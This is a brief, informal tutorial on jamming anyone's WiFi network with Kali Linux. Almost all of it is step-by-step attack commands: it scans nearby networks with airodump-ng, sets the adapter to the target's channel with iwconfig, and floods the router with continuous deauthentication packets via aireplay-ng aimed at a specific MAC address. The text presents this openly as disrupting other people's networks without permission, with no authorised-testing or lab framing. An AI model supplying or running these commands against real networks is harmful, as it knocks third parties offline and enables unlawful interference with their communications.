JAMMING ANYONES WIFI SIGNAL WITHOUT CONNECTING TO IT OR WITHOUT PASSWORD]
REQUIREMENTS :
1. KALI LINUX
PROCEDURE :
1. OPEN TERMINAL IN KALI LINUX
2. NOW WE NEED TO WRITE A CODE TO SCAN NETWORKS AROUND ME
FOR THIS U NEED TO WRITE A CODE AS FOLLOWING:
airodump-ng <adapter name>
usually adapter name is "wlan0"
airodump-ng wlan0
after this u will get a number of wifi around u
scanning will start and to stop scanning u have to press
CTRL+C
3.NOW AFTER U NEED TO CHANGE THE CHANNEL TO THE CHANNEL OF WHICH U WANT TO JAM WIFI
Now see the channel of the wifi u want to hack:
Now u need to change your channel to the channel of the wifi u want to hack
for this write the following command
iwconfig wlan0 channel <channel number>
in my case the channel number is 1
so finally i have to write
iwconfig wlan0 channel 1
u have to write the channel number of wifi u want to hack
4.NOW WE WILL SEND DEAUTHETICATION PACKETS TO ROUTER OR MODEM USING BELOW COMMAND.
aireplay-ng -0 0 -a <routers macadress> wlan0
In my case it is
aireplay-ng -0 0 -a 94:FB:B3:CE:13:50 wlan0
image below



